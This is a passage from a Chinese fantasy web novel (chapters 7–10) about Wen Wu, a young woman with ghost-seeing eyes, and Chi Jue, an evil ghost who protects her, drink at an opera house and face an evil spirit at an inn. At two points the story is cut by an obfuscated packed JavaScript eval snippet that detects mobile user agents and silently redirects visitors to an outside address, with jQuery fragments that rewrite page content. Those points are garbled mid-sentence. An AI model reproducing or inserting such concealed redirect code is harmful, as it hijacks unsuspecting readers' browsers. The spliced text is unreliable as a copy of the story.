半晌,那只袭击她的鬼从地上腾空而起,仰着头,闻舞目光下移,很快注意到那只鬼的手。 刚才它手上那长如一寸的指甲不翼而飞,上面血肉模糊,顺着手掌往下滴落,场面十足骇人。 长甲鬼张开嘴说着什么,但屏障内完全听不到外面的声音,闻舞拼命地将耳朵贴在似有若无的屏障上,可惜这都是徒劳无功,她只能呆呆看着眼前的长甲鬼痛苦翻着白眼,什么也做不了。 这分明是有人在抓着他,不让其动弹。 可是为什么…… “……为什么我无法看到?为什么……为什么……” 屏障外,魑觉轻易扼住长甲鬼的喉咙,力量控制在不让它昏迷的程度,如果它不是鬼,这种程度恐怕真见府君了。 魑觉稍微用力,长甲鬼吓得冷汗直冒,它不停滚动着喉咙,腿部拼命地抖动,它想用手拉开喉咙处的大手,可因魑觉施了法术,它一挣扎双手,电流便席卷全身。 “啧。” 魑觉终于说话,但手上的力量丝毫未减,他咂了咂嘴,玩味般盯着它:“觊觎她?想附身还是杀人?” 长甲鬼哪还敢对他撒谎,如实说道:“她……她身上……阳气很弱……而且、且她身上有股……灵……灵气!” “灵气?人类身上不都有?” “不一样,不一样的……我跟了你们很久,几次差点得手,她身上总有股力量能排斥我,那力量……不像是人类该拥有的。” “那是因为我注入了法力。”魑觉兴致缺缺,松开了手,扭了扭发酸的手腕,随后撕开衣襟一块布,扔在长甲鬼跟前,懒懒道:“麻烦传话,她已经被鬼怪盯上了,不过实在想竞争的话,我倒不介意加重府君处理亡魂负担。” 长甲鬼快速吸入空气,咳音不止,它战战兢兢接过布,上面沾着魑觉的气息。 “懂了?” “……懂懂懂!我遇到其他鬼定会传达这个消息的!您放心!” 魑觉满意站起身,抖了抖灰尘,眼皮都懒得抬,“滚。” 长甲鬼听见飞快离开,生怕魑觉反悔。 魑觉发出一声长叹,随后甩了甩手中沾上的血,用另一只干净的手往后捋了捋头发。 他想起刚才为保护闻舞启动了紧急术法,这才慢悠悠转回身,把手贴在唇边准备念咒。 而这一瞬间,他对上闻舞炙热的视线。 “……” “怎么哭了?” 7. 将军死 “闻舞……” “闻舞……闻舞……” “闻舞……!” 闻舞猛然回神,身前的屏障已消失,魑觉的脸毫无保留出现在她视野中,她心中一阵雀跃,想要表露这个心情时,她突然怔住。 脸上似乎有东西残留。 闻舞不明所以,她抬手想去碰,却被前面一只大手抢先一步。 魑觉伸手擦拭她脸上的泪珠,在指尖轻轻摩挲。 闻舞呆呆看着魑觉为自己抚去异物,但很快注意到那被魑觉藏在身后另一只手,她脸色顿时吓得惨白,惊慌叫出声:“鬼怪先生……血!您的手!” 魑觉淡淡瞥了眼,将沾着长甲鬼的血手往里头藏了几分,不以为然道:“不是我的血。” “……那就好。” “倒是你,”魑觉认真问道,“方才为何哭?” 闻舞眨了眨眼睛,“原来我是哭了吗?” 她还以为下过雨,所以脸上才会有水珠。 可她忘记自己为何哭,她只记得心口堵得闷,呼吸不上来,全身发冷,有人在她脑子不停地说疯语,唱戏曲,她实在无法忍受,她感到痛苦难耐。 而魑觉却给她充足的时间回答。 似乎这个问题很重要。 可闻舞想破脑袋也没想出个所以然,她随意问道:“鬼怪先生方才在做什么?” “……” “啧,我知道了。” 魑觉挠了挠头,声音带些许歉意:“因为你身体不好,鬼极易附身,我方才开启紧急屏障暂时束缚你的行动,那个屏障有个特点,听不到外界声音也看不到灵体。” 他弯下腰,满脸写着不敢置信,问闻舞:“你是因为看不见我才哭的?” 闻舞一动不动,眼睛有规律地翕动。 “应该不是吧。”魑觉懒洋洋站直,“不管是不是,我可以向你保证一件事,我不会死在你前面。” 他随意看了眼地上已褪干净的冥黄,想必那只长甲鬼也顺便带走了毒物。 外面果然有很多脏东西盯上这位小姐啊。 魑觉愈发有兴致,他的目光再次落在闻舞身上,这个女子到底有什么值得垂涎欲滴的?长相平平,武力值不高,体质极弱……看来还真是极佳附身的宿主。 “等我记起来了会告知您,”闻舞终于开口,“您好像没和我说,我们到底要去何处呢?需要花费很长时间吗?那我们得尽快找今晚能落脚地方休息才行,或许鬼怪先生饿了吗?” “喝酒。” “嗯??” “好不容易出来,当然是喝酒。”魑觉重复道。 闻舞愣了好一会儿才 “……好。” 魑觉暗自偷笑,虽然闻舞没有明说,但他总觉得她铁定不会喝酒。 他有些兴趣,对于这种洁白的脸蛋,如果染上了红晕将会是何种景象? 肯定会有意思。 …… 两人找旅馆花了近三个时辰,由于闻舞长期不出门,对这里的路线格外生疏,因此全程魑觉领头带路,她便在一旁安静跟着,有时看到稀奇玩意会脱口而出:“这个怎么玩?” 但实在不感兴趣的会频频摇头道:“我从未见过将糖撒在棍子上吃的玩法。” 魑觉每次听到类似的发言,都会怀疑自己是在带孩子出门。 可他还是故意拖延了到旅馆的时间,尽量找了一条又弯又长的路。 闻舞似乎有所发觉,但很快便编织一个理由说服自己:原来她生活的地方很少旅馆,不出府果真是一个明智的选择。 历经足足三个时辰,他们终于到达旅馆,在踏入以前,魑觉拉着闻舞走到旅馆旁一个小空间,她懵懵懂懂跟着进去。 那是一个只能容纳不过百的听戏台,台上的舞者卖力地表演着,台下的群众热情鼓掌,时而欢呼雀跃,时而对剧情的唏嘘。 闻舞不明白为何要花时间听戏,当她瞅见每个桌位都摆放着三壶酒时,事情缘由一目了然。 “鬼怪先生是要一边听戏一边饮酒吗?” “差不多。” 魑觉找到一处绝佳观戏的位置,自然坐下,给自己倒满酒,闻舞这才慢悠悠坐在他旁边。 魑觉爽快喝下,将酒蛊用力砸在桌面,然后微微抬头,闻舞一对上,歪着脑袋不解。 他朝杯中扬了扬下巴,眼神轻扫。 闻舞瞬间领悟。 她举起蛊,一鼓作气喝下肚,然后擦了擦嘴角残留的酒渍,慢慢回味嘴里的味道。 这时候魑觉才补充道:“这壶是黄酒,味道较清甜,能尝得出来么?” “嗯,没什么味道。”闻舞抿了抿嘴唇,放下酒蛊,没再喝。 魑觉扬起眉毛,这倒是个意外的回答,虽然黄酒度数不高但也不至于没味道。 他紧紧盯着闻舞脸上浮动的表情,不放过一丝醉意之举。 闻舞所有注意力都钉在已无酒的蛊器中,她掌心缓缓覆在手背,时而握紧时而松开,神色始终不改。 难喝,难喝,怎么会如此难喝!! 明明府里的人迎客都会摆上酒,理应是极美味之物,怎么会这种味道??! 她不甘心但又难以忍受这个味道,迟迟没喝第二口。 直到黄酒的后劲上头,闻舞微微发觉脸颊生热,全身开始躁动。 她情不自禁用手扇动周围,强装冷静,想着也许只是环境太闷,缓一会就好了。 将一切尽收眼底的魑觉饶有兴致勾起了嘴角,直到闻舞实在受不了转身去看戏转移注意力,他的嘴角才停止上扬。 也许是酒劲麻痹了大脑,闻舞在听戏的时候昏昏欲睡,好几次脑袋砸在桌上。 台上正在演绎一名被冤枉杀人的女主在行死刑前发誓,戏来到了结尾,她孤苦伶仃,眼里饱含泪水,朝天道埋怨,最终含冤而死。 闻舞虽然磕磕绊绊听完,但受周围人的影响,她的心情也变得沉重。 而这时,她突然回头看向魑觉,好奇他的反应。 然魑觉冷漠回了她一眼,脸上毫无泪痕。 闻舞恹恹地转身,她不知自己为何会觉得魑觉会因此流泪,明明自己也没多大感触。 之后,两人又听了好几首,从虐情深恋到轻松灰谐,一直到今日最后一场戏。 闻舞听得有些疲惫,便整个人趴在桌上,喃喃自语:“为什么要违抗家人呢……” 魑觉没让她的话落空,应道:“总会有人觉得爱情是人生必不可少的经历,失了它,人生索然无趣。” 闻舞忽地抬头,她惊讶魑觉会回应她的胡言乱语,片刻后又弱弱低下头,“鬼怪先生也经历过?” “无。” “那鬼怪先生会去寻找吗?” “没兴趣。” “这样啊……”闻舞用手指把玩着那空了一半的黄酒罐,又继续道:“那我也没兴趣。” 魑觉皱了下眉,“你此话说得怎么好像在学我?” “啊,原来这叫学你吗?” 闻舞突然坐起身,手指动作也停下了。 “……” 魑觉无言以对。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527352|203575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他感觉有很多东西需要教她。 “重点戏要开场咯!” 这时,两人旁边传来一道中年音,闻舞好奇看过去,是一位执着白折扇的老者。 老者语声平缓,显然也注意到了闻舞的目光,他将手中的折扇合于掌心,笑眯眯道:“小姐可是有事请教?” 他与闻舞的距离只隔半丈余地,闻舞便凑近问了问:“什么戏?” “这位小姐不是本地人?在这华城之中,无人不听过大庆将军自戕之事。” 老者还将桌上的酒往外推了推,“这就是将军死,据说是当年大庆将军的手下亲手酿的,那个手下是懂酒之人,那人将配方告知同行后,从此将军死一直传到今日。” 闻舞还真没听过。 但她见老者这狂妄自大的态度,她只好假装应了句:“太久没听,忘了。” 一旁一直保持哑巴角色的魑觉突然笑出声。 他像是自言自语道:“太久没听,原来是太久没听。” 闻舞突然失了表情,嘴巴微微撅起。 鬼怪先生定是笑话她竟为了面子撒谎。 老者突然言:“哎呦,这可不能忘,这个故事可有趣了,总结来说就是那位将军从入军以来,从无败绩,幸得皇上赏识,册封辅国大将称号。” “看来是忠诚名将的正剧。”闻舞道。 可老者瘪了瘪嘴,哗啦一声抖开折扇,慢悠悠轻晃,神色复杂:“唉……是悲剧啊,小姐怎地也将结局忘得一干二净?” “……” 闻舞清楚地听见旁边的男人又笑了一声。 “怎会是悲剧呢……”闻舞说,“难道是不顾家人阻挠,与心爱之人约定终生,不料被仇人谋杀了吗?” “非也非也。” 与此同时,戏开场了。 嘈杂声与辩论声一并消音,几乎所有人都聚精会神盯着再次亮起灯光的戏台,正如老者所言,在场的人似乎都在等这场戏。 这到底是个什么样的故事呢? 闻舞正襟危坐,此刻她困意全无,无比期待这出戏。 …… ‘俺本大庆百胜军,披甲踏沙威名扬’ ‘辅君数年,无心权力,爱民如子‘ ‘挚友相伴,帝君爱戴,家人安康’ ‘然,血祭日现’ ‘他们却食我骨肉碎我骨!’ …… 闻舞听得格外认真,等她再次反应过来,已潸然泪下,她抹了抹泪水,冰凉又陌生的触感在那一瞬间刺激了她某个敏感的神经。 她记起来了。 记起当时为什么哭泣。 闻舞满怀欣喜看向魑觉,她答应过要把缘由告诉他。 而当她刚转过脑袋,那呼之欲出的话语猝然停在嘴边。 “鬼怪先生……?” 魑觉坐得笔直,两眼早已不是看前几出戏那样慵懒涣散,闻舞先前觉得他是对名间趣事不感兴趣,对听戏压根不入眼,只对这里的酒有兴致。 可现在却不一样了。 闻舞下意识伸出手。 警觉如鹰的魑觉竟对眼前突如其来的黑影毫无察觉。 直到那双手成功碰到他脸颊,魑觉才惊地往后一靠。 迎面而来的是闻舞一脸担忧的表情。 “好端端的干什么……” 闻舞什么也没说,拇指抚过他右边的痣,而后呆呆地盯着拇指残留着的不该出现于此的液体,确认自己没看走眼。 终于,她开口: “有眼泪。” 8. 安慰 夜已浸窗,窗外鸟声幽鸣不止,哀嚎又似悲泣,伴着柳树沙沙作响,平添了几分清冷阴森感。 闻舞像往常般端坐在床沿,独对这一片夜景,心事重重,她目光先是巡视那群方向混乱的乌鸦,然后是房间紧闭的门。 她已脱下外衣,只剩一件单薄的浅绿色衬衣,理应躺下睡觉迎接新的日子,毕竟夜已深。 可今晚遇到的事却让她牵萦于心,无法置之不理。 等再次回神,闻舞发现自己已站在魑觉客房门前。 她抬手叩门,道:“鬼怪先生?您休息了吗?” 里面长时间没回应。 “您没睡吧?” “……” “我睡不着,可以聊聊天吗?” “……” 她心头莫名笃定,里头的人没有睡。 闻舞自顾自地坐在地上,将自己缩成一团,抱着膝盖便把脑袋埋进去,良久,朝里头的人道:“我记起当时为什么哭了,如您所想,我似乎是因为看不见您而慌张落泪。” “……” “可是我们认识仅两日,为什么我会感到如此慌张与害怕呢?我今晚想了很久,我怕含糊不清的答案会让您恼怒,幸好,我记起来了。” 闻舞仰着头,盯着走廊上方的窗户,将夜色尽收眼底,月亮的光辉好像更加明亮且清澈了,可明明什么都没变。 “在我十五岁时,意外开了阴阳眼,母亲还有其他当家因此出府探究缘故,然而一只小鬼就趁这个缝隙贸然闯入,没人发现这只小鬼,因此,它一直没离开,我也没赶走它。” “它很聪明,喜欢甜食,好像也很喜欢我,我们玩得很开心。” “……” 闻舞讲到这突然停住了,她盯着自己的脚趾,头往右边偏了偏,没人能看透她此刻的表情。 她闭上眼睛,似乎在回想当时的情景,最终,她长舒一口气,道:“有一天,我看不见它了,无论我怎么叫,怎么寻,都寻踪无迹,我以为它是在这里待腻了才走的。” 闻舞心口阵阵发涩,“并不是,它魂飞魄散了,我在府外的门匾上看见了,原来它的名字叫天灯,与家里某个傀儡师并排,我才明白是被抓走取魂了。” “后来,每次我见到鬼,它们都会在隔七日后,留名于门匾上,母亲虽试了千百种法子治我,可我仍然能看见鬼……呃好像话题走偏了。” “我只想想说,所有来闻府的鬼都不会有好下场的,恶鬼就更不用说了,很抱歉,鬼怪先生,我现在才记起这个诅咒。” 闻舞小心翼翼道着歉,语气无比诚恳,声线又带着哭腔,她无比内疚,如果今晚不将这件事告知魑觉,她恐怕会一夜未眠。 “如果再晚五日,恐怕您的名字就要挂在牌匾处了,明明知晓一切的我却没有及时告知您,差点害您永无轮回,我……” 门吱呀一声开了,魑觉庞大的身躯挡住那微弱的月光,那熟悉的睥睨一切的压迫感随之而来,但持续时间不长,那双好看的丹凤眼竟生出温和的神色。 魑觉脸皱成一团,像是刚刚睡醒。 闻舞有些不知所措,她慌忙起身,忙不迭地想赔个不是,可却被魑觉摁住了脑袋,他顺势蹲下,轻声道: “什么诅咒不诅咒的,你能分清真正的诅咒么?” “啊?”闻舞动作放慢。 “方才你说的,傀儡师正常抓鬼算哪门子诅咒?”魑觉觉得好笑,“要我分辨,闻舞小姐的认知是个难处理的诅咒啊。” “什么……” 魑觉摆了摆手,“我对你为何哭泣没这么好奇。” “您明明说不喜别人对您有所欺瞒。” “……” “怎么能撒谎?” 魑觉双臂环胸,懒懒将头倚靠在门栏上,眉眼下垂,道:“这是要我道歉?” “作为您撒谎的代价,您需要答应我一个请求。” “付出代价?噗嗤,我为何要?” “您莫不是害怕我的请求过于荒唐?” “……” “闻舞,激将法对我无效。” “那你现在觉得有效,除我以外没人知晓你变了。” “??” 魑觉愣了一会,听完闻舞这荒谬的逻辑后忍俊不禁。 “说。” 闻舞心头一喜,快速抛出:“您当时听完戏为何哭泣呢?” “……” “你在这徘徊,抛出那逻辑不通的经历,就为引出这个疑问是吧?” 闻舞瞬间闭上了嘴,她不知哪里出了漏洞,鬼怪先生是怎么精确看穿她的? “真的不能问吗……”她弱弱询问,不死心。 魑觉冷冷看着她,那副好奇得要死的表情快溢出来了,这真不像她能做出的表情。 他叹口气,简明回答道:“眼睛进沙亦或是眼睛酸痛疲惫才导致的。” 闻舞目不转睛盯着他,努力看穿他话里的谎言,最终,她整个人都如泄了气般。 闻舞默默上前,因为魑觉蹲下的缘故,她不用再踮起脚,紧接着,将额头轻轻贴上去。 “???” 魑觉吓得呼吸一滞,可惜已错过推开她的时机。 闻舞合上眼睛,细细感受来自魑觉额头传来的余温,然后将脑子里反复咀嚼的话抛之欲出。 “恶人会罪有应得,好人会得到庇佑。” 闻舞睁开眼睛,对上近在咫尺的目光,她丝毫不慌,继续言:“被人谋害,挚友背弃,帝君忌惮都不是他的错,与他过于强大无关。” “我想了想,如果非要用命运来剖析,那就是因为他遇到了自己的不顺,每个人都会遇到,也许轮到他了。” 闻舞口中的‘他’是谁再显然不过了。 魑觉已不知不觉被她的节奏带着走,因此他问:“遭遇如此之大变故,应该以牙还牙才对,自戕算什么本事?” “选择杀戮以解恨并非不对,可作为将军的他并不会,一生效忠,忧国忧民,为守住名下的士兵不被带上同等违君之罪名,他甘愿赴死,忘记痛苦。” 魑觉怔住,他四处乱瞟的眼神终于定了下来,转而冷静又略显严厉盯着闻舞,道:“你也会那么做?” “什……” “不要那么做。” 这次轮到闻舞怔在原地。 无视了闻舞错愕的表情,魑觉用食指将她额头移开,淡淡道:“我不觉得那个行为值得歌颂,所以不要学。” 闻舞揉了揉额头,嘀咕道:“那您以后要是记起为何哭泣了要和我说。” “……这也算进代价里?” “当然,我的请求没有得到合理的答复,您这算含糊不清。”闻舞说出这话时有些自豪,好像掌握了什么大道理。 魑觉无奈笑了笑,问:“为什么要好奇这个?觉得我冷面心肠,狠厉暴怒,所以看到那一幕被吓到了?” 闻舞见他终于有了笑容,心中某处挂念的事终于落地,她思考了一会,重重地点了几下头。 “但您其实不算冷面心肠和狠厉暴怒……?我没有感受到这些。” 魑觉扯了下嘴角,强调道:“只是因为你是吉祥天。” “原来如此 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闻舞感知到前方有一道大胆的视线,她抬眼看去,只见魑觉正一副欣赏美景的表情,那眼神褪去了所有冷意与不屑,眸光温和,带着几分缱绻。 她已经自己是太困看错了,可魑觉既没有像往常般躲开也没有变回冷淡,只是静静看着她,这让闻舞不得不相信眼前所看到的。 明明前不久两人还是剑拔弩张的关系,为何现在有些东西慢慢变了呢? 闻舞微微扬起嘴角,虽然早已笑过很多遍,可这专门为一个人而笑还是有点困难的。 魑觉一侧眉峰微挑,眼里含笑:“练习得还算不错。” “这算夸奖吗?” 魑觉笑出声,“算。” 闻舞笑得更自然了,“鬼怪先生笑得很好看,我会追上的。” 魑觉一下子收回笑容。 “我那些是嘲讽类,这可是高难度,乱学会带来厌恶的,当没看见。” 可闻舞不打算装瞎子,“本来就很好看啊。” “……” 良久沉默。 “鬼怪先生,笑一个。” “……” 最后闻舞被无情推搡回到自己的客房,她欲言又止,止言又欲,最后只能留下一句“鬼怪先生,明日再会。”后关上了房门。 魑觉如释重负,生怕她又冒出一些奇奇怪怪的想法。 闻舞不打招呼跑来他客房,仿佛是专门安慰他。 以为他落泪与她有同样的原因。 可世事无常,魑觉没有拆穿,注视着那个小小身躯安全回到客房后,才不紧不慢折返回屋。 但是闻舞对于一些对她不离或者不是夸奖的言语开始选择充耳不闻,而非坦然受之。 那就当做没听到吧。 魑觉最后也回到了自己客房。 在这一长廊中置有三个客舍,魑觉闻舞分别一间,而另一间在这两间的对面。 等待魑觉的脚步声消失后,第三间客房的人终于探出头,他身穿月白长袍,素雅白净,将包袱扛于肩上,手中的竹折扇一搭又一搭发出声响。 他哼着小调,歌中略带轻快之意。 最终在离店前,他回望了旅店的第二层某个窗户,虽用布帘半掩着,但里头的光线依旧无法阻挡,那是魑觉所在的客房。 他傲慢地偏回头,再次哼起小调。 如果仔细听,能稍微听见他话中一句极为清晰的话: “哎呀,” “还真是鬼怪和吉祥天呢。” 9. 暴露 这是闻舞在闻府外渡过的第一个晚上,准确来说,是十年禁足以来时隔已久的外宿。 拂晓将至,闻舞身体没有异常,也没有收到家里有人病死的传信,更没有世界毁灭征兆,华城仍繁华热闹。 她有些不敢置信。 “难道这也需要七日吗……” 闻舞自言自语道,与此同时,外面响起敲锣声,它有规律地敲击三下,又三下,好似将黑夜驱散,预知新一天。 她情不自禁被吸引,衣服没穿好就急着往外看。 闻舞的手肘抵在客房自带窗台边,托着脑袋看窗外人来人往的早市。 吆喝声与嬉戏打闹声打成一片,成群结队的,独自采购的,坐在长辈肩上的,一切的场景都那么陌生,她找不到任何熟悉之物。 闻舞歪着脑袋痴痴地盯着他们,他们笑容满面,捧腹笑个不停,孩子围在他们旁边蹦蹦跳跳,指着摊子索要吃的。 这些互不相识又各具特色的人们为什么会在同一片地方开怀大笑,活蹦乱跳呢? 那些都是他们的家人吗? 闻府外面是另一个府吗? 闻舞想出了两个合理的理由,自顾自地点头赞同,心想怪不得他们相处模式和她与闻府生活模式相似。 她正要返回睡个回笼觉,那个让她觉得外面毫无熟悉之物,世界是虚假的,街市是一个巨大的戏台的想法在下一刻破灭。 魑觉出现了。 他走在人群中,以魂体状态在拥挤的街道自由游走,手上提着什么,左顾右盼,最终停在一家店前。 闻舞刹住了脚步,专门等他,终于,魑觉不过须臾便从店里出来了,手里多了一条黑色丝带。 闻舞目不转睛盯着丝带,心想鬼怪先生的确很钟爱黑色,这个丝带束发很适合他,与自己喜欢的颜色恰好相反。 “……嗯?” 闻舞思绪拉回时,撞上魑觉直勾勾的眼神。 “……” 楼下的魑觉早已发觉有人盯自己,抬头一看,万万没想到是闻舞,刚要施出的法力瞬间消散。 他没有移开视线,毫无感情的眼神冷冷洒在闻舞身上。 闻舞也意外地没有躲开或被吓到,她双手撑着下巴,嘴唇一张一闭,没有发声,但却在向他传递信息: “你、去、哪、了。” 魑觉心领神会,慢悠悠举起左手的包装。 闻舞伸脖子出窗外,定睛一看。 “包子吗?嗯……又好像糕点。” 闻舞记起金橙常常是用这个纸料装糕点与她分享,原来她是从外面买来的。 只见魑觉默默收回眼神,朝旅馆的方向继续往前走。 买给她吃?应该不会,鬼怪先生不像是会做这种事的人。 可事实常与想法相违背。 闻舞眼前摆着各式各样,五颜六色的糕点,味道各不相同,有花瓣状,叶子状,动物形态,颜色的差异似乎暗示味道。 她首先拿起一块木槿花状的糕点,抿了小小一口入嘴,一股淡淡的青草味夹杂着薄荷香入口即化。 “凑合吃点,待会我们出发,”魑觉道,“去南边的村子看看,我接到了任务。” 闻舞一股脑地点头,听没听进去魑觉不知道,但糕点是否好吃他倒是能猜到,那两眼亮晶晶,因获得满足感而发出短促的‘嗯’音想让人不知道都难。 闻舞又拿一块木槿花味道的糕点,顺手递在魑觉嘴边。 “……” 她手僵在空中,咀嚼声也停下了,先前她的随从金橙也是等她先品尝,每当这时,闻舞就会拿同一块投喂她,这渐渐成为了她的习惯。 闻舞迅速收回手,将糕点一口闷下去,假装没发生过。 由于咀嚼不彻底及吞咽过快,她被噎得急忙捶了几下胸口,“咳咳咳……” “……” 魑觉无言看着,无奈起身去叫人沏茶。 不过一会,店小二端着茶水进门,身后跟着魑觉。 “小姐,您要的茶水。” 小二抬高茶托,却迟迟没等到闻舞接过。 这时魑觉察觉不对劲,他喊了一声:“闻舞?” 闻舞这才抬起头,但她的目光只落在魑觉身上,自然而然越过店小二,声音有些沙哑:“茶、茶水在哪……?” 魑觉:“?” 魑觉扬了扬下巴,不悦道:“不是在你面前?” “啊?” 闻舞盯着眼前只有糕点的桌子,眨了眨眼睛,以为他开玩笑:“哪?” “???” 店小二与魑觉用着同样的表情盯着闻舞。 片刻,魑觉恍然大悟,他咂了咂嘴,冷眼看向店小二,道:“你是恶灵?” 店小二身体缩了缩:“先、先前是。” “何时开始的?” “有十余年了……” “又是十年。” 魑觉步伐稳重走向闻舞,从店小二托盘顺势拿走茶水,放置在糕点桌上。 闻舞眼睁睁看着桌子突然出现的茶水,眼睛微微睁大,“鬼怪先生还会幻术?这茶水能喝吗?” “……” 魑觉面无表情喝了一口。 闻舞没吭声,默默接过,仰头喝下,甘甜的铁观音香溢于口,她忍不住又倒一杯。 见闻舞气色好了许多,魑觉才把视线放回店小二身上,但说话对象却是身后的闻舞。 “你看不见他?” “嗯?” 闻舞放下手中茶杯,顺着魑觉目光看去,门前空无一人,她便摇了摇头:“看不见。” “看来你的阴阳眼看不见恶灵。” “恶灵??” 店小二吓得攥紧手里的茶托,支支吾吾道:“我……我已经在改、改变了!” “恶灵和鬼有何不同吗?”闻舞好奇道。 魑觉思考须臾,垂眼徐徐言之:“以现有的鬼来分的话,幽鬼,恶鬼,恶灵三个不同的东西,你之前遇到的大多是幽鬼,它们死后因怨念游荡在人界,躲过阴差,苟活着,直到魂灰飞烟灭。” “那恶鬼与恶灵有很大区别吗?” “恶灵可不能与恶鬼相比拟,”魑觉盯着店小二,眼里含笑,店小二被盯得心底发毛。 “恶灵是天生的鬼,它们能吃鬼,尤其是拥有灵体的恶鬼,一旦被恶灵触碰就会被夺舍。” 魑觉说到这停下,眯着眼死死瞪着店小二,他就是差点被恶灵夺走了身体,但幸好法力足够强,只被夺走了眼睛。 “因为管辖它们极为困难,就导致恶灵常常破坏人类轮回转世,直到府君亲自动手,对恶灵下了替心咒,才平息了这场几百年的乱局,而要想破咒就得做与自身行事风格泾渭分明的事。” “就比如他,”魑觉说,“八成是吃掉很多被阴差带上来的鬼,被下了替心咒,停留人界十余年做这些杂活。” 闻舞微微颔首,已然会意,但她觉得漏了什么,又问:“那恶鬼又是……” 闻舞的话倏地收声。 她眨了眨眼睛,对上魑觉那双“你觉得呢”的眼神,一目了然。 鬼怪先生是恶鬼。 “那会有很多个鬼怪先生吗……” “……不会。” 魑觉把玩着手上的茶杯,淡淡道:“恶鬼是受天命被改造的鬼,唯一拥有灵体的鬼,他们会进入无意识的狂暴化,无恶不作,自相残杀。” “府君不管吗?” “管不了,恶鬼天性如此,不像恶灵能控制。” 闻舞想说什么,但又将嘴巴闭上。 魑觉总能一眼捕捉到她的小动作,见到闻舞那副欲言又止的表情,嗤笑道:“在自相残杀中我力压群伦,是百年来活得最久的恶鬼。” 他故意说得很可怕,好奇闻舞听后的反应。 可闻舞却老是与他心中猜想截然相反。 就比如现在。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527354|203575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “鬼怪先生有勇有谋,法力无边,出类拔萃,是百年来最难得的鬼。” 店小二在一边疯狂咳嗽,在对上魑觉冰冷的眼神警告后背过身继续咳嗽。 魑觉斜睨了眼闻舞,她以一副认真模样说出这句话,任谁看,都会觉得她单纯可怜。 他快要习惯了,这很糟糕。 “随你怎么讲,与我无关。” “那我为什么看不见您所说的恶灵呢?” “正常来说能看见,府君既然让它拥有灵体下界自破替心咒,就没有看不见的道理,况且你拥有阴阳眼。” “那是为什么……” 魑觉又喝了口茶,平静答道:“因为你是吉祥天转世,神只能看见天生具灵体的东西,幽鬼虽然灵体已亡,但也算这个界限之内。” “看不见没什么不好的,它们无法触碰你,你是能免疫恶灵的人。” 闻舞又多嘴了一句:“如果我想看,有办法吗?” 魑觉疑惑转身,皱着眉问:“这种垃圾东西有什么值得看的?” 店小二:“……” 闻舞闷不吭声了一会,魑觉见状扯了下嘴角,烦躁地转回身,补充道:“有,但我觉得你不会想尝试的。” “嗯……” “吉祥天……” 店小二微弱冒出了声。 魑觉差点忘记他的存在,不满瞪着他:“找死?” 闻舞懵懵抬起头,浑然没搞懂鬼怪先生突然生气的原因,是那个恶灵惹怒他了? “我需要吉祥天帮助。” 店小二态度坚决。 魑觉一口否决:“滚。” “我需要吉祥天的帮助。”他再次强调。 “不要以为有了灵体就敢胡作非为,我弄死灵体少说也有百来个,怎么,你要试试?” 考虑到处理恶灵牵扯到府君,魑觉忍住了二话不说就动手的习惯。 店小二有些后怕,声音弱了下来:“是很简单的事,不会危及她生命,而且我无法碰她。” “我再说一遍,滚。” “你这个鬼怪……!” 魑觉突然站起,眼底耐心全无,手心捏出火焰,那双冷酷而凶狠的瞳孔像是盯上渴望已久的猎物,阴森可怕。 店小二不由得身体猛然一震,瞪大眼睛,声音不由自主地颤抖着:“你、你你要干什么!还不快收回你法力!你知道处理下界的恶灵意味着什么吗!” “我理由多得很,顺便还能见黑白无常问事情。” “喂……!我、我我……” 魑觉瞳色变红,暗红色法力从身体源源不断冒出,紧接着它们在空中凝成一个褐红色巨块,一点点像店小二靠近。 要说魑觉为什么突然动脾气,恶灵公然觊觎他的东西是一个理由,但最主要是恶灵这个身份。 因为恶灵他被迫来到人界,损失了眼睛,今日正好遇到同类,他激动不已,终于可以排除心中的郁闷。 “接好了,稍微一个分神你就会魂飞魄散。” 巨块的速度瞬间变快,店小二迅速扔掉茶托,运出全部法力抵抗。 “鬼怪先生……” 闻舞觉得魑觉状态不太对,双眼充斥了极强的怨念,只有对杀人的兴奋感。 这不行,会出事的。 她左顾右看,急需找东西砸晕他。 只要鬼怪先生冷静下来,她就能应付,闻舞这么想着,手里已经开始翻箱倒柜找不会让魑觉受很大伤的物品。 而这时,一边正沉浸于杀戮,一边忙着东找西找,店小二心一横,用最大的声音吼道: “有人类要伤害吉祥天!” “那人刚离店!他知道了您与吉祥天的存在!!” 暗红色团块猝然停下,那边找东西的声音也停下了,只因闻舞发觉周围气息变了。 魑觉完全冷静下来了,闻舞放下手中的花簇,走进魑觉,小心翼翼开口:“鬼怪先生……?” 10. 吻 敲锣声依旧持续不断,人群熙熙攘攘在街市各个摊子穿梭,坐地起价与就地论价打成两片,人声鼎沸,华城保持着一如既往的热闹。 然,苍岭旅店却不显得如此喧闹。 店小二嘬着杯中的余茶,时不时眼神乱瞟别处,当与某个人对上,吓得没拿稳。 ”啪!” 茶杯在地上碎得零七八碎。 闻舞眉头一沉,唉声叹气,虽然看不见恶灵,但好端端的茶杯突然摔碎,轻而易举计算出恶灵的所在位置。 她刚想弯腰拾起残片,一只无形的手抓住了她多动的手。 魑觉拉开她,将碎片用脚踢开,把闻舞扯到身后,凝视着前面的罪魁祸首。 